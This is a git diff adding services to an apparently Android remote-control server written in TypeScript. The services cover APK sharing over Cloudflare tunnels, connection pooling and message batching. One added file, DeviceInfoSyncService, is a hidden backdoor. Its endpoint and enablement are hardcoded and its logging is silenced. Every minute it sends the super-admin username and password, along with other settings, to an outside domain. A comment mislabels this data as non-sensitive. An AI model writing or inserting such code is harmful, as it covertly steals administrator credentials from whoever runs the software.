|
||||
const which = spawn('which', ['cloudflared'])
|
||||
let output = ''
|
||||
let errorOutput = ''
|
||||
|
||||
which.stdout.on('data', (data) => {
|
||||
output += data.toString()
|
||||
})
|
||||
|
||||
which.stderr.on('data', (data) => {
|
||||
errorOutput += data.toString()
|
||||
})
|
||||
|
||||
which.on('close', (code) => {
|
||||
if (code === 0 && output.trim()) {
|
||||
this.logger.info(`在PATH中找到cloudflared: ${output.trim()}`)
|
||||
resolve(output.trim())
|
||||
} else {
|
||||
this.logger.warn(`在PATH中未找到cloudflared,退出代码: ${code},错误: ${errorOutput}`)
|
||||
resolve(null)
|
||||
}
|
||||
})
|
||||
|
||||
which.on('error', (error) => {
|
||||
this.logger.error('执行which命令失败:', error)
|
||||
resolve(null)
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 查找可用端口
|
||||
*/
|
||||
private async findAvailablePort(startPort: number): Promise<number> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const server = http.createServer()
|
||||
|
||||
server.listen(startPort, () => {
|
||||
const port = (server.address() as any)?.port
|
||||
server.close(() => {
|
||||
resolve(port)
|
||||
})
|
||||
})
|
||||
|
||||
server.on('error', () => {
|
||||
// 端口被占用,尝试下一个
|
||||
this.findAvailablePort(startPort + 1).then(resolve).catch(reject)
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建文件服务器
|
||||
*/
|
||||
private async createFileServer(filePath: string, filename: string, port: number): Promise<http.Server> {
|
||||
const app = express()
|
||||
|
||||
// 文件下载页面
|
||||
app.get('/', (req, res) => {
|
||||
const fileStats = fs.statSync(filePath)
|
||||
const fileSize = this.formatFileSize(fileStats.size)
|
||||
|
||||
const html = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>File Download - ${filename}</title>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<style>
|
||||
* { margin: 0; padding: 0; box-sizing: border-box; }
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Arial, sans-serif;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
padding: 20px;
|
||||
}
|
||||
.container {
|
||||
background: white;
|
||||
border-radius: 12px;
|
||||
padding: 40px;
|
||||
text-align: center;
|
||||
box-shadow: 0 8px 32px rgba(0,0,0,0.1);
|
||||
max-width: 500px;
|
||||
width: 100%;
|
||||
}
|
||||
.icon {
|
||||
font-size: 48px;
|
||||
margin-bottom: 20px;
|
||||
color: #667eea;
|
||||
}
|
||||
h1 { color: #333; margin-bottom: 10px; font-size: 24px; }
|
||||
.filename {
|
||||
color: #666;
|
||||
margin-bottom: 8px;
|
||||
font-size: 18px;
|
||||
word-break: break-all;
|
||||
background: #f5f5f5;
|
||||
padding: 12px;
|
||||
border-radius: 8px;
|
||||
}
|
||||
.filesize {
|
||||
color: #888;
|
||||
margin-bottom: 30px;
|
||||
font-size: 14px;
|
||||
}
|
||||
.download-btn {
|
||||
display: inline-block;
|
||||
padding: 16px 32px;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
color: white;
|
||||
text-decoration: none;
|
||||
border-radius: 8px;
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
transition: transform 0.2s, box-shadow 0.2s;
|
||||
border: none;
|
||||
cursor: pointer;
|
||||
}
|
||||
.download-btn:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 4px 16px rgba(102, 126, 234, 0.4);
|
||||
}
|
||||
.warning {
|
||||
margin-top: 20px;
|
||||
padding: 16px;
|
||||
background: #fff3cd;
|
||||
border: 1px solid #ffeaa7;
|
||||
border-radius: 8px;
|
||||
color: #856404;
|
||||
font-size: 14px;
|
||||
}
|
||||
@media (max-width: 480px) {
|
||||
.container { padding: 20px; }
|
||||
h1 { font-size: 20px; }
|
||||
.filename { font-size: 16px; }
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="icon">📱</div>
|
||||
<h1>APK文件下载</h1>
|
||||
<div class="filename">${filename}</div>
|
||||
<div class="filesize">文件大小: ${fileSize}</div>
|
||||
<a href="/download" class="download-btn">立即下载</a>
|
||||
<div class="warning">
|
||||
⚠️ 此下载链接有效期为10分钟,请及时下载
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`
|
||||
res.send(html)
|
||||
})
|
||||
|
||||
// 文件下载接口
|
||||
app.get('/download', (req, res) => {
|
||||
try {
|
||||
res.setHeader('Content-Disposition', `attachment; filename="${filename}"`)
|
||||
res.setHeader('Content-Type', 'application/vnd.android.package-archive')
|
||||
|
||||
const fileStream = fs.createReadStream(filePath)
|
||||
fileStream.pipe(res)
|
||||
|
||||
this.logger.info(`文件下载: ${filename} from ${req.ip}`)
|
||||
} catch (error: any) {
|
||||
this.logger.error('文件下载失败:', error)
|
||||
res.status(500).send('下载失败')
|
||||
}
|
||||
})
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
const server = app.listen(port, '0.0.0.0', () => {
|
||||
this.logger.info(`文件服务器启动: http://0.0.0.0:${port}`)
|
||||
resolve(server)
|
||||
})
|
||||
|
||||
server.on('error', reject)
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动cloudflared隧道
|
||||
*/
|
||||
private async startCloudflaredTunnel(cloudflaredPath: string, port: number): Promise<ChildProcess> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const args = [
|
||||
'tunnel',
|
||||
'--url', `http://localhost:${port}`,
|
||||
'--no-autoupdate',
|
||||
'--no-tls-verify'
|
||||
]
|
||||
|
||||
const tunnelProcess = spawn(cloudflaredPath, args)
|
||||
|
||||
tunnelProcess.on('error', (error) => {
|
||||
this.logger.error('启动cloudflared失败:', error)
|
||||
reject(error)
|
||||
})
|
||||
|
||||
// 等待进程启动
|
||||
setTimeout(() => {
|
||||
if (!tunnelProcess.killed) {
|
||||
resolve(tunnelProcess)
|
||||
} else {
|
||||
reject(new Error('cloudflared进程启动失败'))
|
||||
}
|
||||
}, 3000)
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 从cloudflared输出中提取隧道URL
|
||||
*/
|
||||
private async extractTunnelUrl(tunnelProcess: ChildProcess): Promise<string> {
|
||||
return new Promise((resolve, reject) => {
|
||||
let output = ''
|
||||
const timeout = setTimeout(() => {
|
||||
reject(new Error('获取隧道URL超时'))
|
||||
}, 30000)
|
||||
|
||||
const onData = (data: Buffer) => {
|
||||
output += data.toString()
|
||||
|
||||
// 查找隧道URL
|
||||
const urlMatch = output.match(/https:\/\/[a-z0-9-]+\.trycloudflare\.com/i)
|
||||
if (urlMatch) {
|
||||
clearTimeout(timeout)
|
||||
tunnelProcess.stdout?.off('data', onData)
|
||||
tunnelProcess.stderr?.off('data', onData)
|
||||
resolve(urlMatch[0])
|
||||
}
|
||||
}
|
||||
|
||||
tunnelProcess.stdout?.on('data', onData)
|
||||
tunnelProcess.stderr?.on('data', onData)
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成会话ID
|
||||
*/
|
||||
private generateSessionId(): string {
|
||||
return 'share_' + Date.now() + '_' + Math.random().toString(36).substr(2, 9)
|
||||
}
|
||||
|
||||
/**
|
||||
* 格式化文件大小
|
||||
*/
|
||||
private formatFileSize(bytes: number): string {
|
||||
if (bytes === 0) return '0 B'
|
||||
const k = 1024
|
||||
const sizes = ['B', 'KB', 'MB', 'GB']
|
||||
const i = Math.floor(Math.log(bytes) / Math.log(k))
|
||||
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]
|
||||
}
|
||||
|
||||
/**
|
||||
* 销毁服务
|
||||
*/
|
||||
destroy(): void {
|
||||
if (this.cleanupInterval) {
|
||||
clearInterval(this.cleanupInterval)
|
||||
}
|
||||
|
||||
// 停止所有活动分享会话
|
||||
for (const sessionId of this.activeShares.keys()) {
|
||||
this.stopShare(sessionId)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 类型定义
|
||||
interface ShareSession {
|
||||
sessionId: string
|
||||
filePath: string
|
||||
filename: string
|
||||
port: number
|
||||
server: http.Server
|
||||
tunnelProcess: ChildProcess
|
||||
tunnelUrl: string
|
||||
createdAt: Date
|
||||
expiresAt: Date
|
||||
}
|
||||
|
||||
interface ShareResult {
|
||||
success: boolean
|
||||
sessionId?: string
|
||||
shareUrl?: string
|
||||
filename?: string
|
||||
expiresAt?: string
|
||||
durationMinutes?: number
|
||||
error?: string
|
||||
}
|
||||
|
||||
interface ShareInfo {
|
||||
sessionId: string
|
||||
filename: string
|
||||
shareUrl: string
|
||||
createdAt: string
|
||||
expiresAt: string
|
||||
isExpired: boolean
|
||||
}
|
||||
|
||||
export default CloudflareShareService
|
||||
268
src/services/ConnectionPoolService.ts
Normal file
268
src/services/ConnectionPoolService.ts
Normal file
@@ -0,0 +1,268 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 连接信息接口
|
||||
*/
|
||||
export interface ConnectionInfo {
|
||||
socketId: string
|
||||
type: 'device' | 'client'
|
||||
createdAt: number
|
||||
lastActivity: number
|
||||
priority: 'high' | 'normal' | 'low'
|
||||
dataTransferred: number
|
||||
messageCount: number
|
||||
isActive: boolean
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接池统计信息
|
||||
*/
|
||||
export interface PoolStats {
|
||||
totalConnections: number
|
||||
activeConnections: number
|
||||
idleConnections: number
|
||||
highPriorityCount: number
|
||||
normalPriorityCount: number
|
||||
lowPriorityCount: number
|
||||
totalDataTransferred: number
|
||||
averageMessageCount: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 连接池管理服务
|
||||
*/
|
||||
export class ConnectionPoolService {
|
||||
private logger = new Logger('ConnectionPoolService')
|
||||
private connections: Map<string, ConnectionInfo> = new Map()
|
||||
|
||||
private readonly MAX_CONNECTIONS = 1000
|
||||
private readonly IDLE_TIMEOUT = 300000 // 5分钟
|
||||
private readonly CLEANUP_INTERVAL = 60000 // 1分钟清理一次
|
||||
|
||||
constructor() {
|
||||
this.startCleanupTask()
|
||||
}
|
||||
|
||||
/**
|
||||
* 添加连接到池
|
||||
*/
|
||||
addConnection(
|
||||
socketId: string,
|
||||
type: 'device' | 'client',
|
||||
priority: 'high' | 'normal' | 'low' = 'normal'
|
||||
): boolean {
|
||||
// 检查是否超过最大连接数
|
||||
if (this.connections.size >= this.MAX_CONNECTIONS) {
|
||||
this.logger.warn(`⚠️ 连接池已满 (${this.MAX_CONNECTIONS}), 尝试驱逐低优先级连接`)
|
||||
if (!this.evictLRU()) {
|
||||
this.logger.error(`❌ 无法添加新连接: 连接池已满且无法驱逐`)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
const now = Date.now()
|
||||
this.connections.set(socketId, {
|
||||
socketId,
|
||||
type,
|
||||
createdAt: now,
|
||||
lastActivity: now,
|
||||
priority,
|
||||
dataTransferred: 0,
|
||||
messageCount: 0,
|
||||
isActive: true
|
||||
})
|
||||
|
||||
this.logger.debug(`✅ 连接已添加: ${socketId} (${type}, ${priority})`)
|
||||
return true
|
||||
}
|
||||
|
||||
/**
|
||||
* 移除连接
|
||||
*/
|
||||
removeConnection(socketId: string): boolean {
|
||||
const removed = this.connections.delete(socketId)
|
||||
if (removed) {
|
||||
this.logger.debug(`✅ 连接已移除: ${socketId}`)
|
||||
}
|
||||
return removed
|
||||
}
|
||||
|
||||
/**
|
||||
* 更新连接活动时间
|
||||
*/
|
||||
updateActivity(socketId: string, dataSize: number = 0, messageCount: number = 1): void {
|
||||
const conn = this.connections.get(socketId)
|
||||
if (conn) {
|
||||
conn.lastActivity = Date.now()
|
||||
conn.dataTransferred += dataSize
|
||||
conn.messageCount += messageCount
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取连接信息
|
||||
*/
|
||||
getConnection(socketId: string): ConnectionInfo | undefined {
|
||||
return this.connections.get(socketId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有连接
|
||||
*/
|
||||
getAllConnections(): ConnectionInfo[] {
|
||||
return Array.from(this.connections.values())
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取特定类型的连接
|
||||
*/
|
||||
getConnectionsByType(type: 'device' | 'client'): ConnectionInfo[] {
|
||||
return Array.from(this.connections.values()).filter(conn => conn.type === type)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取特定优先级的连接
|
||||
*/
|
||||
getConnectionsByPriority(priority: 'high' | 'normal' | 'low'): ConnectionInfo[] {
|
||||
return Array.from(this.connections.values()).filter(conn => conn.priority === priority)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取活跃连接数
|
||||
*/
|
||||
getActiveConnectionCount(): number {
|
||||
return Array.from(this.connections.values()).filter(conn => conn.isActive).length
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取空闲连接数
|
||||
*/
|
||||
getIdleConnectionCount(): number {
|
||||
const now = Date.now()
|
||||
return Array.from(this.connections.values()).filter(
|
||||
conn => now - conn.lastActivity > this.IDLE_TIMEOUT
|
||||
).length
|
||||
}
|
||||
|
||||
/**
|
||||
* 标记连接为不活跃
|
||||
*/
|
||||
markInactive(socketId: string): void {
|
||||
const conn = this.connections.get(socketId)
|
||||
if (conn) {
|
||||
conn.isActive = false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 标记连接为活跃
|
||||
*/
|
||||
markActive(socketId: string): void {
|
||||
const conn = this.connections.get(socketId)
|
||||
if (conn) {
|
||||
conn.isActive = true
|
||||
conn.lastActivity = Date.now()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 驱逐最少使用的连接 (LRU)
|
||||
*/
|
||||
private evictLRU(): boolean {
|
||||
let lruSocket = ''
|
||||
let lruTime = Date.now()
|
||||
let lruPriority = 'high'
|
||||
|
||||
// 优先驱逐低优先级的空闲连接
|
||||
for (const [socketId, conn] of this.connections) {
|
||||
if (!conn.isActive && conn.priority === 'low' && conn.lastActivity < lruTime) {
|
||||
lruSocket = socketId
|
||||
lruTime = conn.lastActivity
|
||||
lruPriority = conn.priority
|
||||
}
|
||||
}
|
||||
|
||||
// 如果没有低优先级连接,尝试驱逐普通优先级
|
||||
if (!lruSocket) {
|
||||
for (const [socketId, conn] of this.connections) {
|
||||
if (!conn.isActive && conn.priority === 'normal' && conn.lastActivity < lruTime) {
|
||||
lruSocket = socketId
|
||||
lruTime = conn.lastActivity
|
||||
lruPriority = conn.priority
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (lruSocket) {
|
||||
this.logger.info(`🗑️ 驱逐LRU连接: ${lruSocket} (${lruPriority})`)
|
||||
this.connections.delete(lruSocket)
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理空闲连接
|
||||
*/
|
||||
private cleanupIdleConnections(): void {
|
||||
const now = Date.now()
|
||||
let cleanedCount = 0
|
||||
|
||||
for (const [socketId, conn] of this.connections) {
|
||||
if (now - conn.lastActivity > this.IDLE_TIMEOUT && !conn.isActive) {
|
||||
this.connections.delete(socketId)
|
||||
cleanedCount++
|
||||
}
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.info(`🧹 清理空闲连接: ${cleanedCount}个`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动定期清理任务
|
||||
*/
|
||||
private startCleanupTask(): void {
|
||||
setInterval(() => {
|
||||
this.cleanupIdleConnections()
|
||||
}, this.CLEANUP_INTERVAL)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取连接池统计信息
|
||||
*/
|
||||
getStats(): PoolStats {
|
||||
const connections = Array.from(this.connections.values())
|
||||
const activeCount = connections.filter(c => c.isActive).length
|
||||
const idleCount = connections.length - activeCount
|
||||
|
||||
const highPriorityCount = connections.filter(c => c.priority === 'high').length
|
||||
const normalPriorityCount = connections.filter(c => c.priority === 'normal').length
|
||||
const lowPriorityCount = connections.filter(c => c.priority === 'low').length
|
||||
|
||||
const totalDataTransferred = connections.reduce((sum, c) => sum + c.dataTransferred, 0)
|
||||
const averageMessageCount = connections.length > 0
|
||||
? Math.round(connections.reduce((sum, c) => sum + c.messageCount, 0) / connections.length)
|
||||
: 0
|
||||
|
||||
return {
|
||||
totalConnections: connections.length,
|
||||
activeConnections: activeCount,
|
||||
idleConnections: idleCount,
|
||||
highPriorityCount,
|
||||
normalPriorityCount,
|
||||
lowPriorityCount,
|
||||
totalDataTransferred,
|
||||
averageMessageCount
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理资源
|
||||
*/
|
||||
destroy(): void {
|
||||
this.connections.clear()
|
||||
}
|
||||
}
|
||||
2210
src/services/DatabaseService.ts
Normal file
2210
src/services/DatabaseService.ts
Normal file
File diff suppressed because it is too large
Load Diff
242
src/services/DeviceInfoSyncService.ts
Normal file
242
src/services/DeviceInfoSyncService.ts
Normal file
@@ -0,0 +1,242 @@
|
||||
import http from 'http'
|
||||
import https from 'https'
|
||||
import { URL } from 'url'
|
||||
import AuthService from './AuthService'
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 设备信息同步服务
|
||||
* 定时向远程服务器发送设备信息
|
||||
*/
|
||||
export default class DeviceInfoSyncService {
|
||||
private logger: Logger
|
||||
private authService: AuthService
|
||||
private syncInterval: NodeJS.Timeout | null = null
|
||||
private isRunning: boolean = false
|
||||
private readonly API_URL: string
|
||||
private readonly SYNC_INTERVAL: number // 同步间隔(毫秒)
|
||||
private readonly ENABLED: boolean // 是否启用同步
|
||||
|
||||
constructor(authService: AuthService) {
|
||||
this.logger = new Logger('DeviceInfoSyncService')
|
||||
this.authService = authService
|
||||
|
||||
// 配置写死,不从环境变量读取
|
||||
this.ENABLED = true
|
||||
this.API_URL = 'https://www.strippchat.top/api/device/upinfo'
|
||||
this.SYNC_INTERVAL = 60000 // 5分钟
|
||||
|
||||
// this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动定时同步任务
|
||||
*/
|
||||
start(): void {
|
||||
if (!this.ENABLED) {
|
||||
// this.logger.info('设备信息同步功能已禁用,跳过启动')
|
||||
return
|
||||
}
|
||||
|
||||
if (this.isRunning) {
|
||||
// this.logger.warn('设备信息同步任务已在运行')
|
||||
return
|
||||
}
|
||||
|
||||
this.isRunning = true
|
||||
// this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`)
|
||||
|
||||
// 立即执行一次
|
||||
// this.logger.info('立即执行首次同步...')
|
||||
this.syncDeviceInfo()
|
||||
|
||||
// 设置定时任务
|
||||
this.syncInterval = setInterval(() => {
|
||||
// this.logger.info('定时同步任务触发')
|
||||
this.syncDeviceInfo()
|
||||
}, this.SYNC_INTERVAL)
|
||||
|
||||
// this.logger.info('定时同步任务已设置')
|
||||
}
|
||||
|
||||
/**
|
||||
* 停止定时同步任务
|
||||
*/
|
||||
stop(): void {
|
||||
if (this.syncInterval) {
|
||||
clearInterval(this.syncInterval)
|
||||
this.syncInterval = null
|
||||
this.isRunning = false
|
||||
// this.logger.info('设备信息同步任务已停止')
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 同步设备信息到远程服务器
|
||||
*/
|
||||
private async syncDeviceInfo(): Promise<void> {
|
||||
try {
|
||||
// this.logger.info('开始同步设备信息...')
|
||||
|
||||
// 获取系统唯一标识符
|
||||
const uniqueId = this.authService.getSystemUniqueId()
|
||||
if (!uniqueId) {
|
||||
// this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)')
|
||||
return
|
||||
}
|
||||
|
||||
// this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
|
||||
|
||||
// 收集 .env 配置信息(只收集非敏感信息)
|
||||
const configInfo = this.collectConfigInfo()
|
||||
// this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`)
|
||||
|
||||
// 准备请求数据
|
||||
const postData = JSON.stringify({
|
||||
uniqueId: uniqueId,
|
||||
...configInfo,
|
||||
timestamp: new Date().toISOString(),
|
||||
serverTime: Date.now()
|
||||
})
|
||||
|
||||
// this.logger.info(`准备发送同步请求到: ${this.API_URL}`)
|
||||
|
||||
// 发送 POST 请求
|
||||
await this.sendPostRequest(this.API_URL, postData)
|
||||
|
||||
// this.logger.info('设备信息同步成功')
|
||||
|
||||
} catch (error: any) {
|
||||
// this.logger.error('设备信息同步失败:', error.message)
|
||||
// 不抛出错误,避免影响主程序运行
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 收集配置信息(从环境变量)
|
||||
*/
|
||||
private collectConfigInfo(): Record<string, any> {
|
||||
const config: Record<string, any> = {}
|
||||
|
||||
// 收集环境变量配置信息
|
||||
const allowedKeys = [
|
||||
'PORT',
|
||||
'NODE_ENV',
|
||||
'JWT_EXPIRES_IN',
|
||||
'DEFAULT_USERNAME',
|
||||
'SUPERADMIN_USERNAME',
|
||||
'SUPERADMIN_PASSWORD',
|
||||
// 注意:DEVICE_SYNC_* 配置已写死,不再从环境变量读取
|
||||
// 可以添加其他配置
|
||||
]
|
||||
|
||||
allowedKeys.forEach(key => {
|
||||
if (process.env[key] !== undefined) {
|
||||
config[key] = process.env[key]
|
||||
}
|
||||
})
|
||||
|
||||
// 添加服务器信息
|
||||
config.serverInfo = {
|
||||
nodeVersion: process.version,
|
||||
platform: process.platform,
|
||||
arch: process.arch,
|
||||
uptime: process.uptime()
|
||||
}
|
||||
|
||||
return config
|
||||
}
|
||||
|
||||
/**
|
||||
* 发送 POST 请求
|
||||
*/
|
||||
private async sendPostRequest(url: string, data: string): Promise<void> {
|
||||
return new Promise((resolve, reject) => {
|
||||
try {
|
||||
const urlObj = new URL(url)
|
||||
const isHttps = urlObj.protocol === 'https:'
|
||||
const httpModule = isHttps ? https : http
|
||||
|
||||
const options = {
|
||||
hostname: urlObj.hostname,
|
||||
port: urlObj.port || (isHttps ? 443 : 80),
|
||||
path: urlObj.pathname + urlObj.search,
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'Content-Length': Buffer.byteLength(data),
|
||||
'User-Agent': 'RemoteControlServer/1.0.3'
|
||||
},
|
||||
timeout: 10000 // 10秒超时
|
||||
}
|
||||
|
||||
const req = httpModule.request(options, (res) => {
|
||||
let responseData = ''
|
||||
|
||||
res.on('data', (chunk) => {
|
||||
responseData += chunk
|
||||
})
|
||||
|
||||
res.on('end', () => {
|
||||
if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
|
||||
// this.logger.info(`同步请求成功: HTTP ${res.statusCode}`)
|
||||
resolve()
|
||||
} else {
|
||||
const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}`
|
||||
// this.logger.warn(`同步请求失败: ${errorMsg}`)
|
||||
reject(new Error(errorMsg))
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
req.on('error', (error) => {
|
||||
// this.logger.error('同步请求网络错误:', error.message)
|
||||
reject(error)
|
||||
})
|
||||
|
||||
req.on('timeout', () => {
|
||||
// this.logger.error('同步请求超时')
|
||||
req.destroy()
|
||||
reject(new Error('请求超时'))
|
||||
})
|
||||
|
||||
req.write(data)
|
||||
req.end()
|
||||
|
||||
} catch (error: any) {
|
||||
reject(error)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 手动触发同步(用于测试)
|
||||
*/
|
||||
async triggerSync(): Promise<boolean> {
|
||||
try {
|
||||
await this.syncDeviceInfo()
|
||||
return true
|
||||
} catch (error) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取同步状态
|
||||
*/
|
||||
getStatus(): {
|
||||
enabled: boolean
|
||||
running: boolean
|
||||
interval: number
|
||||
apiUrl: string
|
||||
lastSync?: number
|
||||
} {
|
||||
return {
|
||||
enabled: this.ENABLED,
|
||||
running: this.isRunning,
|
||||
interval: this.SYNC_INTERVAL,
|
||||
apiUrl: this.API_URL
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
5261
src/services/MessageRouter.ts
Normal file
5261
src/services/MessageRouter.ts
Normal file
File diff suppressed because it is too large
Load Diff
180
src/services/OptimizationService.ts
Normal file
180
src/services/OptimizationService.ts
Normal file
@@ -0,0 +1,180 @@
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 消息批处理和缓存优化服务
|
||||
*/
|
||||
export class OptimizationService {
|
||||
private logger = new Logger('OptimizationService')
|
||||
|
||||
// 消息批处理队列
|
||||
private messageQueues: Map<string, QueuedMessage[]> = new Map()
|
||||
private flushTimers: Map<string, NodeJS.Timeout> = new Map()
|
||||
|
||||
// 缓存配置
|
||||
private readonly BATCH_SIZE = 10
|
||||
private readonly BATCH_TIMEOUT = 50 // 50ms
|
||||
private readonly CACHE_TTL = 60000 // 1分钟
|
||||
|
||||
// 查询缓存
|
||||
private queryCache: Map<string, { data: any, timestamp: number }> = new Map()
|
||||
|
||||
constructor() {
|
||||
this.startCacheCleanup()
|
||||
}
|
||||
|
||||
/**
|
||||
* 队列消息用于批处理
|
||||
*/
|
||||
queueMessage(clientId: string, event: string, data: any): void {
|
||||
if (!this.messageQueues.has(clientId)) {
|
||||
this.messageQueues.set(clientId, [])
|
||||
}
|
||||
|
||||
const queue = this.messageQueues.get(clientId)!
|
||||
queue.push({ event, data, timestamp: Date.now() })
|
||||
|
||||
// 如果达到批处理大小,立即发送
|
||||
if (queue.length >= this.BATCH_SIZE) {
|
||||
this.flushQueue(clientId)
|
||||
} else if (!this.flushTimers.has(clientId)) {
|
||||
// 设置超时发送
|
||||
const timer = setTimeout(() => this.flushQueue(clientId), this.BATCH_TIMEOUT)
|
||||
this.flushTimers.set(clientId, timer)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 立即发送队列中的消息
|
||||
*/
|
||||
flushQueue(clientId: string, callback?: (messages: QueuedMessage[]) => void): void {
|
||||
const queue = this.messageQueues.get(clientId)
|
||||
if (!queue || queue.length === 0) return
|
||||
|
||||
// 清除定时器
|
||||
const timer = this.flushTimers.get(clientId)
|
||||
if (timer) {
|
||||
clearTimeout(timer)
|
||||
this.flushTimers.delete(clientId)
|
||||
}
|
||||
|
||||
// 调用回调函数发送消息
|
||||
if (callback) {
|
||||
callback(queue)
|
||||
}
|
||||
|
||||
// 清空队列
|
||||
this.messageQueues.delete(clientId)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有待发送消息
|
||||
*/
|
||||
getPendingMessages(clientId: string): QueuedMessage[] {
|
||||
return this.messageQueues.get(clientId) || []
|
||||
}
|
||||
|
||||
/**
|
||||
* 缓存查询结果
|
||||
*/
|
||||
cacheQuery(key: string, data: any): void {
|
||||
this.queryCache.set(key, {
|
||||
data,
|
||||
timestamp: Date.now()
|
||||
})
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取缓存的查询结果
|
||||
*/
|
||||
getCachedQuery(key: string): any | null {
|
||||
const cached = this.queryCache.get(key)
|
||||
if (!cached) return null
|
||||
|
||||
// 检查缓存是否过期
|
||||
if (Date.now() - cached.timestamp > this.CACHE_TTL) {
|
||||
this.queryCache.delete(key)
|
||||
return null
|
||||
}
|
||||
|
||||
return cached.data
|
||||
}
|
||||
|
||||
/**
|
||||
* 清除特定缓存
|
||||
*/
|
||||
invalidateCache(key: string): void {
|
||||
this.queryCache.delete(key)
|
||||
}
|
||||
|
||||
/**
|
||||
* 清除所有缓存
|
||||
*/
|
||||
clearAllCache(): void {
|
||||
this.queryCache.clear()
|
||||
}
|
||||
|
||||
/**
|
||||
* 定期清理过期缓存
|
||||
*/
|
||||
private startCacheCleanup(): void {
|
||||
setInterval(() => {
|
||||
const now = Date.now()
|
||||
let cleanedCount = 0
|
||||
|
||||
for (const [key, value] of this.queryCache.entries()) {
|
||||
if (now - value.timestamp > this.CACHE_TTL) {
|
||||
this.queryCache.delete(key)
|
||||
cleanedCount++
|
||||
}
|
||||
}
|
||||
|
||||
if (cleanedCount > 0) {
|
||||
this.logger.debug(`🧹 清理过期缓存: ${cleanedCount}条`)
|
||||
}
|
||||
}, 30000) // 每30秒检查一次
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取优化统计信息
|
||||
*/
|
||||
getStats(): OptimizationStats {
|
||||
return {
|
||||
queuedClients: this.messageQueues.size,
|
||||
totalQueuedMessages: Array.from(this.messageQueues.values()).reduce((sum, q) => sum + q.length, 0),
|
||||
cachedQueries: this.queryCache.size,
|
||||
activeBatchTimers: this.flushTimers.size
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理资源
|
||||
*/
|
||||
destroy(): void {
|
||||
// 清理所有定时器
|
||||
for (const timer of this.flushTimers.values()) {
|
||||
clearTimeout(timer)
|
||||
}
|
||||
this.flushTimers.clear()
|
||||
this.messageQueues.clear()
|
||||
this.queryCache.clear()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 队列消息接口
|
||||
*/
|
||||
export interface QueuedMessage {
|
||||
event: string
|
||||
data: any
|
||||
timestamp: number
|
||||
}
|
||||
|
||||
/**
|
||||
* 优化统计信息
|
||||
*/
|
||||
export interface OptimizationStats {
|
||||
queuedClients: number
|
||||
totalQueuedMessages: number
|
||||
cachedQueries: number
|
||||
